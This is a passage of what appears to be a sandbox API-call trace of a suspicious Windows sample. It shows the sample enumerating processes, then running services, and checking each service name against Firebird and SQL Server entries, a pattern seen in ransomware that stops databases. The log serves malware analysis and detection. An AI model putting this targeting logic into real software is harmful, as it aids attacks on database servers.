cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0200.397] lstrlenW (lpString="armstrong.exe") returned 13 [0200.397] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0200.398] lstrlenW (lpString="superb_guilty.exe") returned 17 [0200.398] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0200.398] lstrlenW (lpString="conditional employer.exe") returned 24 [0200.398] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0200.399] lstrlenW (lpString="middle shown.exe") returned 16 [0200.399] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0200.400] lstrlenW (lpString="forced_online.exe") returned 17 [0200.400] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0200.400] lstrlenW (lpString="knitting.exe") returned 12 [0200.400] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0200.401] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0200.401] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0200.402] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0200.402] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0200.403] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0200.403] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.404] lstrlenW (lpString="svchost.exe") returned 11 [0200.404] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0200.404] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0200.404] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0200.405] lstrlenW (lpString="conhost.exe") returned 11 [0200.405] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0200.406] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0200.406] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0200.407] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0200.407] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0200.407] lstrlenW (lpString="WMIADAP.exe") returned 11 [0200.407] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0200.408] lstrlenW (lpString="11.exe") returned 6 [0200.408] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0200.409] lstrlenW (lpString="cmd.exe") returned 7 [0200.409] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0200.410] lstrlenW (lpString="conhost.exe") returned 11 [0200.410] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0200.410] lstrlenW (lpString="mode.com") returned 8 [0200.410] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0200.411] CloseHandle (hObject=0x2a0) returned 1 [0200.411] Sleep (dwMilliseconds=0x1f4) [0200.918] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889930 [0200.918] EnumServicesStatusExW (in: hSCManager=0x889930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0200.919] GetLastError () returned 0xea [0200.919] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x7ffa40 [0200.919] EnumServicesStatusExW (in: hSCManager=0x889930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7ffa40, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7ffa40, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0200.919] CloseServiceHandle (hSCObject=0x889930) returned 1 [0200.920] lstrlenW (lpString="Appinfo") returned 7 [0200.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0200.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0200.920] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0200.920] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0200.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0200.920] lstrlenW (lpString="AppXSvc") returned 7 [0200.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0200.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0200.920] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0200.920] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0200.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0200.920] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0200.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0200.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0200.920] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0200.920] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0200.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0200.920] lstrlenW (lpString="Audiosrv") returned 8 [0200.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0200.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0200.920] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0200.920] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0200.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0200.920] lstrlenW (lpString="BFE") returned 3 [0200.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0200.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0200.920] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0200.920] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0200.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0200.921] lstrlenW (lpString="BITS") returned 4 [0200.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0200.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0200.921] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0200.921] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0200.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0200.921] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0200.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0200.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0200.921] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0200.921] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0200.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0200.921] lstrlenW (lpString="CDPSvc") returned 6 [0200.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0200.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0200.921] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0200.921] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0200.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0200.921] lstrlenW (lpString="ClickToRunSvc") returned 13 [0200.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0200.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0200.921] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0200.921] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0200.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0200.921] lstrlenW (lpString="ClipSVC") returned 7 [0200.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0200.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0200.921] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0200.921] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0200.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0200.921] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0200.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0200.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0200.922] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0200.922] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0200.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0200.922] lstrlenW (lpString="CryptSvc") returned 8 [0200.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0200.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0200.922] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0200.922] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0200.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0200.922] lstrlenW (lpString="DcomLaunch") returned 10 [0200.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0200.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0200.922] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0200.922] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0200.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0200.922] lstrlenW (lpString="Dhcp") returned 4 [0200.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0200.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0200.922] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0200.922] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0200.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0200.922] lstrlenW (lpString="Dnscache") returned 8 [0200.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0200.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0200.922] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0200.922] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0200.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0200.922] lstrlenW (lpString="DoSvc") returned 5 [0200.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0200.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0200.923] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0200.923] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0200.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0200.923] lstrlenW (lpString="DPS") returned 3 [0200.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0200.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0200.923] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0200.923] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0200.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0200.923] lstrlenW (lpString="DusmSvc") returned 7 [0200.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0200.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0200.923] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0200.923] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0200.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0200.923] lstrlenW (lpString="EventLog") returned 8 [0200.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0200.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0200.923] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0200.923] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0200.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0200.923] lstrlenW (lpString="EventSystem") returned 11 [0200.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0200.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0200.923] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0200.923] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0200.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0200.923] lstrlenW (lpString="FontCache") returned 9 [0200.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0200.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0200.923] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0200.924] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0200.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0200.924] lstrlenW (lpString="gpsvc") returned 5 [0200.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0200.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0200.924] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0200.924] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0200.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0200.924] lstrlenW (lpString="iphlpsvc") returned 8 [0200.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0200.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0200.924] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0200.924] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0200.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0200.924] lstrlenW (lpString="KeyIso") returned 6 [0200.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0200.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0200.924] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0200.924] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0200.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0200.924] lstrlenW (lpString="LanmanServer") returned 12 [0200.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0200.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0200.924] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0200.924] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0200.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0200.924] lstrlenW (lpString="LanmanWorkstation") returned 17 [0200.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0200.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0200.924] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0200.924] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0200.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0200.925] lstrlenW (lpString="lfsvc") returned 5 [0200.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0200.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0200.925] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0200.925] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0200.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0200.925] lstrlenW (lpString="LicenseManager") returned 14 [0200.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0200.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0200.925] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0200.925] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0200.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0200.925] lstrlenW (lpString="lmhosts") returned 7 [0200.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0200.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0200.925] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0200.925] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0200.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0200.925] lstrlenW (lpString="LSM") returned 3 [0200.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0200.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0200.925] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0200.925] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0200.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0200.925] lstrlenW (lpString="MpsSvc") returned 6 [0200.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0200.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0200.925] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0200.925] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0200.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0200.925] lstrlenW (lpString="NcbService") returned 10 [0200.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0200.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0200.926] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0200.926] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0200.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0200.926] lstrlenW (lpString="netprofm") returned 8 [0200.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0200.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0200.926] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0200.926] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0200.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0200.926] lstrlenW (lpString="NlaSvc") returned 6 [0200.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0200.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0200.926] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0200.926] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0200.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0200.926] lstrlenW (lpString="nsi") returned 3 [0200.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0200.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0200.926] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0200.926] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0200.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0200.926] lstrlenW (lpString="PcaSvc") returned 6 [0200.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0200.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0200.926] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0200.926] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0200.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0200.926] lstrlenW (lpString="PlugPlay") returned 8 [0200.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0200.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0200.926] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0200.926] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0200.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0200.926] lstrlenW (lpString="Power") returned 5 [0200.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0200.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0200.927] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0200.927] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0200.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0200.927] 